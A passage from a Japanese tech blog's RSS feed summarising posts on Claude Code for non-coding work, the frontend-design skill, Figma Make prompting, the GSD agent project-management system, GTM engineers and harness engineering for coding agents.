&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="表示イメージ"&gt;表示イメージ&lt;/h2&gt;
&lt;p&gt;この設定を入れると、ツール実行の確認時に以下のようなリスク評価が表示されるようになります:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;・パスワードが外に漏れる可能性: 0%
・外部サーバーにデータが送られる可能性: 0%
・悪意あるコードが動く可能性: 5%
・PCの設定が書き換わる可能性: 80%
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;これにより、各操作のリスクを具体的な数値で把握した上で、許可するかどうかを判断できるようになります。&lt;/p&gt;</description></item><item><title>Claude Codeですべての日常業務を爆速化する — コーディング以外の活用術</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7%E3%81%99%E3%81%B9%E3%81%A6%E3%81%AE%E6%97%A5%E5%B8%B8%E6%A5%AD%E5%8B%99%E3%82%92%E7%88%86%E9%80%9F%E5%8C%96%E3%81%99%E3%82%8B-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E4%BB%A5%E5%A4%96%E3%81%AE%E6%B4%BB%E7%94%A8%E8%A1%93/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7%E3%81%99%E3%81%B9%E3%81%A6%E3%81%AE%E6%97%A5%E5%B8%B8%E6%A5%AD%E5%8B%99%E3%82%92%E7%88%86%E9%80%9F%E5%8C%96%E3%81%99%E3%82%8B-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E4%BB%A5%E5%A4%96%E3%81%AE%E6%B4%BB%E7%94%A8%E8%A1%93/</guid><description>&lt;p&gt;Claude Code はコーディング専用ツールと思われがちだが、実はコーディング以外の日常業務を半自動化する強力なツールとしても活用できる。みのるん氏（&lt;a href="https://x.com/minorun365"&gt;@minorun365&lt;/a&gt;）の &lt;a href="https://qiita.com/minorun365/items/114f53def8cb0db60f47"&gt;Qiita 記事&lt;/a&gt; から、その実践例を紹介する。&lt;/p&gt;
&lt;h2 id="ai-は自動化ツールではなく優秀な同僚"&gt;AI は「自動化ツール」ではなく「優秀な同僚」&lt;/h2&gt;
&lt;p&gt;Claude Code を使う上で重要なマインドセットは、AI を単なる自動化ツールではなく「一緒に仕事できる優秀な同僚」として捉えること。どんな作業でも「この作業、Claude Code に任せられないか？」と必ず考える習慣が、業務効率を大きく変える。&lt;/p&gt;
&lt;p&gt;また「AI 活用＝やっつけ品質」という認識はもう過去の話で、適切に指示を出せば高品質なアウトプットが得られる。&lt;/p&gt;
&lt;h2 id="プチ仕様駆動開発"&gt;プチ仕様駆動開発&lt;/h2&gt;
&lt;p&gt;Claude Code との作業では、以下の 4 つのドキュメントで「プチ仕様駆動開発」を行うのが効果的。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ドキュメント&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PLAN.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;音声入力で計画を記録&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SPEC.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;仕様の壁打ち&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TODO.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;タスク管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KNOWLEDGE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;学びとナレッジの蓄積&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;音声入力（Aqua Voice 等）で大まかな計画を &lt;code&gt;PLAN.md&lt;/code&gt; に吹き込み、Claude Code に仕様化してもらうフローが実用的。&lt;/p&gt;
&lt;h2 id="実践例-経費精算を-5-分で終わらせる"&gt;実践例: 経費精算を 5 分で終わらせる&lt;/h2&gt;
&lt;p&gt;MoneyForward の CSV を Claude Code に渡して、以下を自動化する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CSV を解析して取引を分類&lt;/li&gt;
&lt;li&gt;Gmail から領収書を自動検索&lt;/li&gt;
&lt;li&gt;勘定科目を自動マッピング&lt;/li&gt;
&lt;li&gt;Markdown 形式で出力&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;手作業なら 30 分以上かかる経費精算が、5 分で完了する。&lt;/p&gt;
&lt;h2 id="実践例-メール監視とリマインド"&gt;実践例: メール監視とリマインド&lt;/h2&gt;
&lt;p&gt;放置しがちなメールの監視を自動化する構成:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;EventBridge（定時起動）
→ AgentCore Runtime
→ Gmail API でメール抽出
→ Slack に通知
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;重要なメールを見落とすリスクを、システムで解消する。&lt;/p&gt;</description></item><item><title>Claudeのデザインが急に良くなった理由 ― frontend-design スキルと「一般的」から離れるプロンプト</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude%E3%81%AE%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%81%8C%E6%80%A5%E3%81%AB%E8%89%AF%E3%81%8F%E3%81%AA%E3%81%A3%E3%81%9F%E7%90%86%E7%94%B1-frontend-design-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A8%E4%B8%80%E8%88%AC%E7%9A%84%E3%81%8B%E3%82%89%E9%9B%A2%E3%82%8C%E3%82%8B%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude%E3%81%AE%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%81%8C%E6%80%A5%E3%81%AB%E8%89%AF%E3%81%8F%E3%81%AA%E3%81%A3%E3%81%9F%E7%90%86%E7%94%B1-frontend-design-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A8%E4%B8%80%E8%88%AC%E7%9A%84%E3%81%8B%E3%82%89%E9%9B%A2%E3%82%8C%E3%82%8B%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88/</guid><description>&lt;p&gt;Claude Code で生成される UI デザインの品質が急に向上したと話題になっています。その理由は「画像学習」の強化ではなく、&lt;strong&gt;「一般的（on distribution）」なデザインから意図的に離れるプロンプト設計&lt;/strong&gt;にありました。&lt;/p&gt;
&lt;h2 id="aiスロップ問題とは"&gt;AIスロップ問題とは&lt;/h2&gt;
&lt;p&gt;AI が生成するフロントエンドデザインには「AIスロップ（AI slop）」と呼ばれる品質問題があります。特に指示を与えずに UI を生成させると、AI は確率分布の中心付近からサンプリングするため、どこかで見たような「いかにもAIが作った」デザインに収束してしまいます。&lt;/p&gt;
&lt;p&gt;具体的には以下のような特徴が見られます:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;過度にグラデーションやシャドウを多用する&lt;/li&gt;
&lt;li&gt;汎用的すぎるカラーパレット&lt;/li&gt;
&lt;li&gt;差別化のないカードレイアウト&lt;/li&gt;
&lt;li&gt;どのサイトでも見るような Hero セクション&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="frontend-design-スキルの登場"&gt;frontend-design スキルの登場&lt;/h2&gt;
&lt;p&gt;Anthropic は Claude Code 向けに &lt;code&gt;frontend-design&lt;/code&gt; という公式スキルをリリースしました。このスキルの核心は、Claude に対して**「一般的な出力に収束しないように」**と明示的に指示することです。&lt;/p&gt;
&lt;p&gt;スキルの中には以下のような指針が含まれています:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;確率分布の中心（もっとも一般的なデザインパターン）に寄らないこと&lt;/li&gt;
&lt;li&gt;AIスロップ的な美学を避けること&lt;/li&gt;
&lt;li&gt;個性のあるデザインを生成すること&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="なぜプロンプトで解決できるのか"&gt;なぜプロンプトで解決できるのか&lt;/h2&gt;
&lt;p&gt;Claude は十分なデザイン知識を持っています。問題は、指示がないと「安全な」中間値に落ち着いてしまうことでした。&lt;code&gt;frontend-design&lt;/code&gt; スキルは、この傾向を明示的に打ち消すプロンプトを提供することで、Claude が持つ本来のデザイン能力を引き出しています。&lt;/p&gt;
&lt;p&gt;これは画像生成 AI における「ネガティブプロンプト」に近い考え方です。生成したいものを指定するだけでなく、&lt;strong&gt;避けたいもの（一般的すぎるデザイン）を指定する&lt;/strong&gt;ことで、出力品質が大きく向上します。&lt;/p&gt;
&lt;h2 id="実践のポイント"&gt;実践のポイント&lt;/h2&gt;
&lt;p&gt;自分のプロジェクトでも同様のアプローチを取ることができます:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;「一般的にしないで」と明示する&lt;/strong&gt; ― デザイン生成時に「よくあるパターンを避けて」と指示する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;具体的なリファレンスを与える&lt;/strong&gt; ― 参考にしたいデザインの方向性を具体的に伝える&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;frontend-design スキルを活用する&lt;/strong&gt; ― Claude Code を使っているなら、このスキルを有効にする&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Claude Code でスキルをインストール&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npx skills add anthropics/claude-code
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Claude Code 内では &lt;code&gt;/skills&lt;/code&gt; コマンドでインストール済みスキルの一覧を確認できます。&lt;/p&gt;</description></item><item><title>Figma Make を使いこなす実践テクニック</title><link>https://hdknr.github.io/blogs/posts/2026/03/figma-make-%E3%82%92%E4%BD%BF%E3%81%84%E3%81%93%E3%81%AA%E3%81%99%E5%AE%9F%E8%B7%B5%E3%83%86%E3%82%AF%E3%83%8B%E3%83%83%E3%82%AF/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/figma-make-%E3%82%92%E4%BD%BF%E3%81%84%E3%81%93%E3%81%AA%E3%81%99%E5%AE%9F%E8%B7%B5%E3%83%86%E3%82%AF%E3%83%8B%E3%83%83%E3%82%AF/</guid><description>&lt;p&gt;Figma が提供する AI デザイン機能「Figma Make」を実務で活用するための実践的なコツをまとめる。1000 回以上のプロンプト作成を通じて見つかった知見や、効率的なワークフローを紹介する。&lt;/p&gt;
&lt;h2 id="figma-make-とは"&gt;Figma Make とは&lt;/h2&gt;
&lt;p&gt;Figma Make は、Figma に統合された AI 搭載のデザイン生成ツール。テキストプロンプトからUIデザインを自動生成でき、AutoLayout 付きの構造化されたデザインを高速に作成できる。&lt;/p&gt;
&lt;h2 id="実践テクニック"&gt;実践テクニック&lt;/h2&gt;
&lt;h3 id="1-context-設計を明確にする"&gt;1. Context 設計を明確にする&lt;/h3&gt;
&lt;p&gt;AI に指示を出す前に、以下を明確にしておくことが重要:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ユーザーペルソナ&lt;/strong&gt;: 対象ユーザーの年齢層、IT リテラシーなど&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行アクション&lt;/strong&gt;: 何をデザインするのか具体的に&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;制約条件&lt;/strong&gt;: ブランドカラー、フォント指定、アニメーション仕様など&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;例: 「40代のITリテラシーが低いユーザー向けの、
シンプルで直感的なダッシュボード画面を作成してください。
フォントはNoto Sans JP、メインカラーは#2563EB」
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="2-大枠--ピンポイントの2段階アプローチ"&gt;2. 「大枠 → ピンポイント」の2段階アプローチ&lt;/h3&gt;
&lt;p&gt;一度に完璧を目指すのではなく、2段階で進める:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第1段階（大枠）&lt;/strong&gt;: 初期プロンプトで全体構造を作る&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;対象画面の詳細説明&lt;/li&gt;
&lt;li&gt;必要な機能リスト&lt;/li&gt;
&lt;li&gt;デザインテイスト（既知のサービス名で参照すると有効）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第2段階（ピンポイント）&lt;/strong&gt;: ファイル名やクラス名を指定して細部を修正&lt;/p&gt;
&lt;h3 id="3-デザインシステムを活用する"&gt;3. デザインシステムを活用する&lt;/h3&gt;
&lt;p&gt;既存のテンプレートやサンプルをインポートして効率化する:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;既存のデザインをキャンバスに置いて「これっぽく作って」と指示&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Guidelines.md&lt;/code&gt; にデザインシステムとコーディングルールを記載&lt;/li&gt;
&lt;li&gt;「〇〇画面の△△表と同様の UI で」と既存 UI を参照指示&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-figma-design-との往復ワークフロー"&gt;4. Figma Design との往復ワークフロー&lt;/h3&gt;
&lt;p&gt;Figma Make 単体で完結させるのではなく、通常の Figma Design と組み合わせる:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Figma Make&lt;/strong&gt; でデザインを生成&lt;/li&gt;
&lt;li&gt;コピーして &lt;strong&gt;Figma Design&lt;/strong&gt; にペースト&lt;/li&gt;
&lt;li&gt;Design で手動修正して期待通りに調整&lt;/li&gt;
&lt;li&gt;修正版を再度 &lt;strong&gt;Figma Make&lt;/strong&gt; に取り込んで再実行&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;このサイクルを回すことで、レイヤー構造が整理され、より高品質なコード生成が実現する。&lt;/p&gt;</description></item><item><title>GSD — AI コーディングエージェントを「本当に使えるレベル」にするプロジェクト管理システム</title><link>https://hdknr.github.io/blogs/posts/2026/03/gsd-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E6%9C%AC%E5%BD%93%E3%81%AB%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%AC%E3%83%99%E3%83%AB%E3%81%AB%E3%81%99%E3%82%8B%E3%83%97%E3%83%AD%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E7%AE%A1%E7%90%86%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/gsd-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E6%9C%AC%E5%BD%93%E3%81%AB%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%AC%E3%83%99%E3%83%AB%E3%81%AB%E3%81%99%E3%82%8B%E3%83%97%E3%83%AD%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E7%AE%A1%E7%90%86%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0/</guid><description>&lt;p&gt;AI コーディングエージェントで「ランディングページを作って」くらいなら動く。しかし、複数ファイル・複数サブシステムが絡む本格的なプロジェクトになると、エージェントはコヒーレンスを失い、前に作ったものを忘れ、壊れたコードを量産し始める。GSD はこの問題を構造的に解決するシステムだ。&lt;/p&gt;
&lt;h2 id="gsd-とは"&gt;GSD とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/gsd_foundation/status/2030361888681239003"&gt;GSD（Get Stuff Done）&lt;/a&gt;は、大規模・マルチセッションのプロジェクトを AI コーディングエージェントで完遂するためのシステムだ。デモ向けのおもちゃではなく、多数のファイルと複数のサブシステムが連携する実務レベルのプロジェクトを対象としている。&lt;/p&gt;
&lt;p&gt;GSD が解決する問題は明確だ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;エージェントは時間とともにコヒーレンスを失う&lt;/li&gt;
&lt;li&gt;3タスク前に作ったものを忘れる&lt;/li&gt;
&lt;li&gt;ファイルは存在するが実際には動かないコードを生成する&lt;/li&gt;
&lt;li&gt;毎ターン、プロジェクト構造の再読み込みにトークンを浪費する&lt;/li&gt;
&lt;li&gt;中断後の再開には人間が全てを再説明する必要がある&lt;/li&gt;
&lt;li&gt;何かが壊れたとき、クリーンなロールバック手段がない&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3層の階層構造milestone--slice--task"&gt;3層の階層構造：Milestone → Slice → Task&lt;/h2&gt;
&lt;p&gt;GSD はすべてのスコープを3つのレベルに分解する。&lt;/p&gt;
&lt;h3 id="milestoneマイルストーン"&gt;Milestone（マイルストーン）&lt;/h3&gt;
&lt;p&gt;出荷可能なバージョン。プロジェクトの大きな単位。&lt;/p&gt;
&lt;h3 id="sliceスライス"&gt;Slice（スライス）&lt;/h3&gt;
&lt;p&gt;独立してデモ可能な&lt;strong&gt;垂直的な機能単位&lt;/strong&gt;。「データベース層を実装する」（水平的）ではなく、「ユーザーがサインアップしてログインできる」（垂直的）という形で切る。&lt;/p&gt;
&lt;p&gt;各スライスには&lt;strong&gt;デモ文&lt;/strong&gt;がある：「これが完了すると、ユーザーは _____ できる」。この空白を人間が観察可能な行動で埋められなければ、スコープの切り方が間違っている。&lt;/p&gt;
&lt;h3 id="taskタスク"&gt;Task（タスク）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;コンテキストウィンドウ1つ分&lt;/strong&gt;の作業単位。1タスクが1エージェントセッションに収まらなければ、それは2タスクだ。これは鉄則であり、違反するとエージェントがコヒーレンスを失い始める — 長時間の作業で初期の判断がコンパクション（圧縮）され、コンテキストが古いツールコールで汚染され、推論品質が劣化する。&lt;/p&gt;
&lt;h2 id="boundary-maps--実装前のインターフェース思考"&gt;Boundary Maps — 実装前のインターフェース思考&lt;/h2&gt;
&lt;p&gt;GSD で最もインパクトのある計画機能がこれだ。&lt;/p&gt;
&lt;p&gt;マイルストーンの計画時に、各スライスは&lt;strong&gt;何を生産し、上流のスライスから何を消費するか&lt;/strong&gt;を具体的に宣言する。曖昧にではなく、関数名・型名・インターフェース・エンドポイントを名前付きで。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;S01 → S02
Produces:
types.ts → User, Session, AuthToken (interfaces)
auth.ts → generateToken(), verifyToken(), refreshToken()
Consumes: nothing (leaf node)
S02 → S03
Produces:
api/auth/login.ts → POST handler
middleware.ts → authMiddleware()
Consumes from S01:
auth.ts → generateToken(), verifyToken()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;これにより「スライス3が必要とする関数をスライス1がエクスポートしていない」という問題が発生しない。契約が明示的で、検証可能になる。&lt;/p&gt;</description></item><item><title>GTMエンジニア — AI時代に生まれた「1人で3チーム分」の新職種</title><link>https://hdknr.github.io/blogs/posts/2026/03/gtm%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2-ai%E6%99%82%E4%BB%A3%E3%81%AB%E7%94%9F%E3%81%BE%E3%82%8C%E3%81%9F1%E4%BA%BA%E3%81%A73%E3%83%81%E3%83%BC%E3%83%A0%E5%88%86%E3%81%AE%E6%96%B0%E8%81%B7%E7%A8%AE/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/gtm%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2-ai%E6%99%82%E4%BB%A3%E3%81%AB%E7%94%9F%E3%81%BE%E3%82%8C%E3%81%9F1%E4%BA%BA%E3%81%A73%E3%83%81%E3%83%BC%E3%83%A0%E5%88%86%E3%81%AE%E6%96%B0%E8%81%B7%E7%A8%AE/</guid><description>&lt;p&gt;AI スタートアップが必死に探している人材がいる。営業でもマーケでもエンジニアでもない、しかしその全部を1人でやる「GTMエンジニア」だ。Y Combinator 出身の創業者たちがこぞって求めるこの職種は、AI 時代のキャリアの新しい形を示している。&lt;/p&gt;
&lt;h2 id="gtmエンジニアとは"&gt;GTMエンジニアとは&lt;/h2&gt;
&lt;p&gt;GTM は &amp;ldquo;Go-To-Market&amp;rdquo; の略で、プロダクトを市場に届けるための戦略とオペレーション全体を指す。どのターゲットに、どのチャネルで、どうやって届け、売上につなげるか。マーケティング、営業、カスタマーサクセスにまたがるこの一連のプロセスが「GTM」だ。&lt;/p&gt;
&lt;p&gt;従来はこの領域を、SDR（インサイドセールス）、RevOps（レベニューオペレーション）、グロースチームといった複数部門が分担していた。それが今、AI の進化によって &lt;strong&gt;1人で完結できる&lt;/strong&gt; ようになりつつある。&lt;/p&gt;
&lt;p&gt;この「1人で全部やれる人間」が GTMエンジニアだ。テック業界で最も高給な職種の一つになりつつあり、平均年収は3,000万円〜5,000万円程度とされる。&lt;/p&gt;
&lt;h2 id="gtmエンジニアが1人でやること"&gt;GTMエンジニアが1人でやること&lt;/h2&gt;
&lt;p&gt;その仕事の範囲は驚くほど広い：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ICP（理想的な顧客像）とTAM（獲得可能な市場全体）の設計&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メール配信インフラの構築&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;「買いそうなシグナル」の検知&lt;/strong&gt; — 企業の採用情報や資金調達などからリストを構築&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アカウント情報のエンリッチメント&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アウトバウンド営業の自動化&lt;/strong&gt;と有望リードの自動振り分け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インバウンドのリード評価・スコアリング・商談準備&lt;/strong&gt;の一気通貫設計&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;営業コールのAI分析&lt;/strong&gt;とフィードバックループ構築&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CRMのアーキテクチャ設計&lt;/strong&gt;とレポーティング&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以前は3つ以上のチームが10人以上で回していた仕事だ。それを AI を武器にして1人でやる。&lt;/p&gt;
&lt;h2 id="なぜ今この役割が生まれたのか"&gt;なぜ今、この役割が生まれたのか&lt;/h2&gt;
&lt;p&gt;背景は2つある。&lt;/p&gt;
&lt;h3 id="1-aiツールの進化"&gt;1. AIツールの進化&lt;/h3&gt;
&lt;p&gt;Clay、Apollo、Gong、Salesforce といったツールが個別に進化してきたところに、ChatGPT や Claude のような LLM が登場し、ツール間の「接着剤」となる作業を自動化できるようになった。API を繋ぎ、プロンプトでロジックを組み、ワークフローを自動化する。技術的に考えられる人間が1人いれば、チーム全体のオペレーションを設計・実行できてしまう。&lt;/p&gt;
&lt;h3 id="2-スタートアップの経済的現実"&gt;2. スタートアップの経済的現実&lt;/h3&gt;
&lt;p&gt;シード期のスタートアップに SDR チーム、RevOps マネージャー、グロースマーケターをそれぞれ雇う余裕はない。でも GTM はやらなければ売れない。「1人で全部やれる人間」への需要が爆発した理由はここにある。&lt;/p&gt;
&lt;h2 id="gtmエンジニアに求められる3つの能力"&gt;GTMエンジニアに求められる3つの能力&lt;/h2&gt;
&lt;h3 id="1-営業サイクル全体の理解"&gt;1. 営業サイクル全体の理解&lt;/h3&gt;
&lt;p&gt;見込み客の発掘からナーチャリング、商談、クロージングまで。一連の流れを理解していないと、自動化の設計ができない。何を自動化すべきで、何は人間がやるべきか。この判断は営業プロセスへの深い理解なしにはできない。&lt;/p&gt;
&lt;h3 id="2-技術的思考力"&gt;2. 技術的思考力&lt;/h3&gt;
&lt;p&gt;コードをゴリゴリ書く必要はないかもしれないが、API の仕組み、データの流れ、ワークフローの設計ができなければ話にならない。「Clay のテーブルを作れます」程度では全く足りない。システム全体をアーキテクチャとして設計する力が必要だ。&lt;/p&gt;
&lt;h3 id="3-aiで実務を回した経験"&gt;3. AIで実務を回した経験&lt;/h3&gt;
&lt;p&gt;「AI を知っている」ことではなく「AI で実際にオペレーションを回した経験がある」ことが求められる。パイプラインを組んで、データを流して、結果を見て改善する。この実務経験がなければ、チーム全体の業務を1人で回すことはできない。&lt;/p&gt;
&lt;h2 id="aiが仕事を奪う話ではない"&gt;「AIが仕事を奪う」話ではない&lt;/h2&gt;
&lt;p&gt;GTMエンジニアの登場は「AI が人間の仕事を奪った」話ではない。&lt;strong&gt;「AI によって1人の人間の能力が10倍になった」話&lt;/strong&gt; だ。&lt;/p&gt;</description></item><item><title>Harness Engineering ベストプラクティス 2026 — AI コーディングエージェントを安定稼働させる設計術</title><link>https://hdknr.github.io/blogs/posts/2026/03/harness-engineering-%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9-2026-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%AE%89%E5%AE%9A%E7%A8%BC%E5%83%8D%E3%81%95%E3%81%9B%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/harness-engineering-%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9-2026-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%AE%89%E5%AE%9A%E7%A8%BC%E5%83%8D%E3%81%95%E3%81%9B%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</guid><description>&lt;p&gt;Claude Code や Codex といった AI コーディングエージェントを現場に投入する開発者が増えるなか、「ハーネスエンジニアリング」という新しい実践領域が注目を集めている。逆瀬川氏（&lt;a href="https://x.com/gyakuse"&gt;@gyakuse&lt;/a&gt;）が公開した&lt;a href="https://nyosegawa.github.io/posts/harness-engineering-best-practices-2026/"&gt;まとめ記事&lt;/a&gt;から、要点を紹介する。&lt;/p&gt;
&lt;h2 id="そもそもハーネスとは何か"&gt;そもそも「ハーネス」とは何か&lt;/h2&gt;
&lt;p&gt;「ハーネス（harness）」とは、もともと馬具の意味だ。馬の力を人間が制御して活かすための装具一式 — 手綱、鞍、轡（くつわ）などを指す。馬がどれだけ優秀でも、ハーネスなしでは暴走するだけで仕事にならない。&lt;/p&gt;
&lt;p&gt;ソフトウェアの世界では「テストハーネス」という用語がすでにある。テスト対象のコードを「つなぎ止めて」、入力を与え、出力を検証する枠組みのことだ。テスト対象そのものではなく、テスト対象を&lt;strong&gt;正しく動かすための外側の仕組み&lt;/strong&gt;を指す。&lt;/p&gt;
&lt;p&gt;AI コーディングエージェントにおける「ハーネス」もこれと同じ発想だ。AI エージェント（= 馬）は強力だが、そのままでは暴走する。古いドキュメントを信じてしまう、リンターのルールを勝手に緩和する、前のセッションで何をしたか忘れる。&lt;strong&gt;エージェントを制御し、安定した成果を引き出すための外側の仕組み全体&lt;/strong&gt;がハーネスであり、それを設計・構築する技術がハーネスエンジニアリングだ。&lt;/p&gt;
&lt;p&gt;具体的にハーネスを構成する要素は、大きく 3 つの層に分けられる:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;入力層&lt;/strong&gt; — エージェントに何を読ませ、何を読ませないかを制御する（AGENTS.md の設計、リポジトリの衛生管理、セッション間の状態引き継ぎ）&lt;/li&gt;
